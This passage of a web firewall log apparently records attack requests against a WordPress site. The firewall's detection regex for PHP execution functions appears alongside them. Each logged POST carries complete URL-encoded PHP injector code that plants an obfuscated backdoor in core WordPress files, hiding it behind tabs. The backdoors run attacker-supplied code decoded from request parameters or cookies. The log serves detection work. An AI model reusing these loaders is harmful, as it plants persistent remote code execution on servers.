Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-base64.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522de%255Cx73%255Cx63%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522de%255Cx73%255Cx63%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%2520%253B%2520%2524a%2520%253D%25200%253B%2520do%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524a%255D%2529%2520%255E%252010%2529%253B%2524a%252B%252B%253B%257D%2520while%2528%2524a%2520%253C%2520strlen%2528%2524flag%2529%2529%253B%2520%2524hld%2520%253D%25200%253B%2520do%2520%257B%2520%2524key%2520%253D%2520%2524sym%255B%2524hld%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524hld%2520%253E%253D%2520count%2528%2524sym%2529%2529%2520break%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524key%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524key%2529%2529%2520%257B%2520%2524marker%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524key%252C%2520%2522.item%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524marker%252C%2520%2524property_set%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524marker%253B%2520%2540unlink%2528%2524marker%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524hld%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:49:24","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ak:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-base64.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522de%255Cx73%255Cx63%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522de%255Cx73%255Cx63%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%2520%253B%2520%2524a%2520%253D%25200%253B%2520do%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524a%255D%2529%2520%255E%252010%2529%253B%2524a%252B%252B%253B%257D%2520while%2528%2524a%2520%253C%2520strlen%2528%2524flag%2529%2529%253B%2520%2524hld%2520%253D%25200%253B%2520do%2520%257B%2520%2524key%2520%253D%2520%2524sym%255B%2524hld%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524hld%2520%253E%253D%2520count%2528%2524sym%2529%2529%2520break%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524key%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524key%2529%2529%2520%257B%2520%2524marker%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524key%252C%2520%2522.item%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524marker%252C%2520%2524property_set%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524marker%253B%2520%2540unlink%2528%2524marker%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524hld%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\ncontent-length:4146\nsec-ch-ua-mobile:?0\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLJfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nak=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-base64.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522de%255Cx73%255Cx63%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522de%255Cx73%255Cx63%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%2520%253B%2520%2524a%2520%253D%25200%253B%2520do%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524a%255D%2529%2520%255E%252010%2529%253B%2524a%252B%252B%253B%257D%2520while%2528%2524a%2520%253C%2520strlen%2528%2524flag%2529%2529%253B%2520%2524hld%2520%253D%25200%253B%2520do%2520%257B%2520%2524key%2520%253D%2520%2524sym%255B%2524hld%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524hld%2520%253E%253D%2520count%2528%2524sym%2529%2529%2520break%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524key%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524key%2529%2529%2520%257B%2520%2524marker%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524key%252C%2520%2522.item%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524marker%252C%2520%2524property_set%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524marker%253B%2520%2540unlink%2528%2524marker%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524hld%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:49:27","103.143.207.18","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> YS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Poly1305\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B56%252B-56%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B49%252B-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-49%252B52%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-15%252B19%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524data%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524comp%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e5261b7a%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524comp%2529%2529%2520%257B%2520%2524comp%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_lookup%2522%253B%2520%257D%2520%2524component%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524comp%2529%2529%2520%257B%2520%2524fac%2520%253D%2520fopen%2528%2524comp%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524fac%252C%2520%2524component%2529%253B%2520fclose%2528%2524fac%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524comp%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524comp%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%2522baa7903d3e91bce159dd22add4e6d605%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522auth_exception_handler_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\ncontent-length:4398\nsec-ch-ua-mobile:?0\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJIZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nYS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Poly1305\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B56%252B-56%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B49%252B-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-49%252B52%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-15%252B19%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524data%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524comp%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e5261b7a%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524comp%2529%2529%2520%257B%2520%2524comp%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_lookup%2522%253B%2520%257D%2520%2524component%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524comp%2529%2529%2520%257B%2520%2524fac%2520%253D%2520fopen%2528%2524comp%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524fac%252C%2520%2524component%2529%253B%2520fclose%2528%2524fac%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524comp%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524comp%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%2522baa7903d3e91bce159dd22add4e6d605%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522auth_exception_handler_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:49:31","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> pg:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Poly1305\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B56%252B-56%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B49%252B-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-49%252B52%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-15%252B19%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524data%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524comp%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e5261b7a%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524comp%2529%2529%2520%257B%2520%2524comp%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_lookup%2522%253B%2520%257D%2520%2524component%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524comp%2529%2529%2520%257B%2520%2524fac%2520%253D%2520fopen%2528%2524comp%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524fac%252C%2520%2524component%2529%253B%2520fclose%2528%2524fac%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524comp%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524comp%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%2522baa7903d3e91bce159dd22add4e6d605%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522auth_exception_handler_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\ncontent-length:4398\nsec-ch-ua-mobile:?0\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpTpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\npg=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Poly1305\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B56%252B-56%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B49%252B-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-49%252B52%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-15%252B19%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524data%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524comp%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys